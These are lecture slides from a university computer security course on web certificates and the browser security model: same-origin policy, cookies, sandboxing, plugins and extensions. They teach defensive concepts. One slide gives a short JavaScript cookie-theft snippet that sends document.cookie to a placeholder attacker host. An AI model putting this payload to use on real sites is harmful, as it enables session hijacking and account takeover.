CSE 484: Computer Security and Privacy

Web Security
[Overview + Browser Security Model]

Spring 2021

Tadayoshi Kohno

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, David Kohlbrenner, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Administrivia

- HW2: May 14
- Sometime during today’s class: Please do the April 30 in-class activity if you haven’t already
- Wednesday, May 5: Aaron Alva from the FTC (not recorded)
- Friday, May 14: Emily McReynolds from Microsoft re: security, privacy, and the law
• Single CA certifying every public key is impractical
• Instead, use a trusted root authority (e.g., Verisign)
  • Everybody must know the root’s public key
  • Instead of single cert, use a certificate chain
    • $\text{sig}_{\text{Verisign}}(\text{``AnotherCA''}, \text{PK}_{\text{AnotherCA}})$,
      $\text{sig}_{\text{AnotherCA}}(\text{``Alice''}, \text{PK}_A)$
• Not shown in figure but important:
  • Signed as part of each cert is whether party is a CA or not
• What happens if root authority is ever compromised?
Certificate Revocation

• Revocation is very important
• Many valid reasons to revoke a certificate
  • Private key corresponding to the certified public key has been compromised
  • User stopped paying their certification fee to this CA and CA no longer wishes to certify them
  • CA’s private key has been compromised!
• Expiration is a form of revocation, too
  • Many deployed systems don’t bother with revocation
  • Re-issuance of certificates is a big revenue source for certificate authorities
Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
  • CA periodically issues a signed list of revoked certificates
    • Credit card companies used to issue thick books of canceled credit card numbers
    • Can issue a “delta CRL” containing only updates

• Online revocation service
  • When a certificate is presented, recipient goes to a special online service to verify whether it is still valid
    • Like a merchant dialing up the credit card processor
Attempt to Fix CA Problems:
Certificate Transparency

• **Problem:** browsers will think nothing is wrong with a rogue certificate until revoked

• **Goal:** make it impossible for a CA to issue a bad certificate for a domain *without the owner of that domain knowing*

• **Approach:** auditable certificate logs
  • Certificates published in public logs
  • Public logs checked for unexpected certificates

[www.certificate-transparency.org](http://www.certificate-transparency.org)
Attempt to Fix CA Problems:
Certificate Pinning

- **Trust on first access**: tells browser how to act on subsequent connections

- HPKP – HTTP Public Key Pinning
  - Use these keys!
  - HTTP response header field “Public-Key-Pins”

- HSTS – HTTP Strict Transport Security
  - Only access server via HTTPS
  - HTTP response header field "Strict-Transport-Security"
Next Major Topic!
Web+Browser Security
Big Picture: Browser and Network

Browser

OS

Hardware

Network

website

request

reply
Where Does the Attacker Live?

Mitigation: SSL/TLS (not covered further)

Mitigation: Browser security model + web app security (this/next week)
Two Sides of Web Security

(1) Web browser

- Responsible for securely confining content presented by visited websites

(2) Web applications

- Online merchants, banks, blogs, Google Apps ...
- Mix of server-side and client-side code
  - Server-side code written in PHP, JavaScript, C++ etc.
  - Client-side code written in JavaScript (... sort of)
- Many potential bugs: XSS, XSRF, SQL injection
But at least 3 actors!
Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages
  • Simultaneously
  • Sequentially

• Safe delegation
Browser Security Model

Goal 1: Protect local system from web attacker
→ Browser Sandbox

Goal 2: Protect/isolate web content from other web content
→ Same Origin Policy
Browser Sandbox

Goals: Protect local system from web attacker; protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs (new: also iframes!) in their own processes
- Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

<table>
<thead>
<tr>
<th>Issue</th>
<th>Reward</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
<td>$30,000</td>
</tr>
</tbody>
</table>

From Chrome Bug Bounty Program
CSE 484 - Spring 2021
Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
  • DOM / HTML Elements
  • Navigation
  • Cookie Reading
  • Cookie Writing
  • Iframes vs. Scripts
HTML + DOM + JavaScript

<html>  
<body>  
<h1>This is the title</h1>  
<div>  
<p>This is a sample page.</p>  
<script>alert(“Hello world”);</script>  
<iframe src="http://example.com">  
</iframe>  
</div>  
</body>  
</html>
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

- www.bank.com (the parent) can access HTML elements in the iframe (and vice versa).
- www.evil.com (the parent) cannot access HTML elements in the iframe (and vice versa).
Browser Cookies

- **HTTP is stateless protocol**
- **Browser cookies are used to introduce state**
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

```plaintext
POST login.php
  username and pwd

HTTP Header: Set-cookie:
  login_token=13579;
  domain = (who can read);
  expires = (when expires)

GET restricted.html
  Cookie: login_token=13579
```
Same Origin Policy: Cookie Writing

Which cookies can be set by login.site.com?

- **allowed domains**
  - ✓ login.site.com
  - ✓ .site.com

- **disallowed domains**
  - ✗ othersite.com
  - ✗ .com
  - ✗ user.site.com

login.site.com can set cookies for all of .site.com (domain suffix), but not for another site or top-level domain (TLD).
Problem: Who Set the Cookie?

Browser

Set-Cookie:
Domain: .site.com
Value: userid=alice, token=1234

Set-Cookie:
Domain: .site.com
Value: userid=bob, token=5678

Cookie: userid=bob, token=5678

login.site.com

Not a violation of the SOP!

evil.site.com

cse484.site.com
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website.**

  <script src="http://otherdomain.com/library.js"></script>

  The code from **http://otherdomain.com** **can** access HTML elements and cookies on **www.example.com**.

• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

- A webpage can send information to any site
- Can use this to send out secrets...
Example: Cookie Theft

- Cookies often contain authentication token
  - Stealing such a cookie == accessing account

- Cookie theft via malicious JavaScript

  ```html
  <a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;">Click here!</a>
  ```

- Aside: Cookie theft via network eavesdropping
  - Cookies included in HTTP requests
  - One of the reasons HTTPS is important!
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  • `Access-Control-Allow-Origin: <list of domains>`
    • Unfortunately, often:
      `Access-Control-Allow-Origin: *`

• Cross-origin client side communication
  • HTML5 `postMessage` between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

### Java and Flash both vulnerable—again—to new 0-day attacks
Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
“As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date.”

What about Browser Extensions?

• Most things you use today are probably extensions

• **Examples:** AdBlock, Ghostery, Mailvelope

• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to **protect from malicious websites**
  • **Privilege separation:** extensions consist of multiple components with well-defined communication
  • **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!

![Add "Mailvelope"?](image-url)
Extensions in flux

• Google has (attempted) to standardize how extensions work

• “Manifest v3” is the new specification
  • Upends how extensions get access to pages
  • Changes how they can execute code

• Generally, slow progress towards making them safer to use
Summing up browser security

• Browsers are a critical consumer target today
  • Large attack surface

• Many assets to protect

• Wide usage
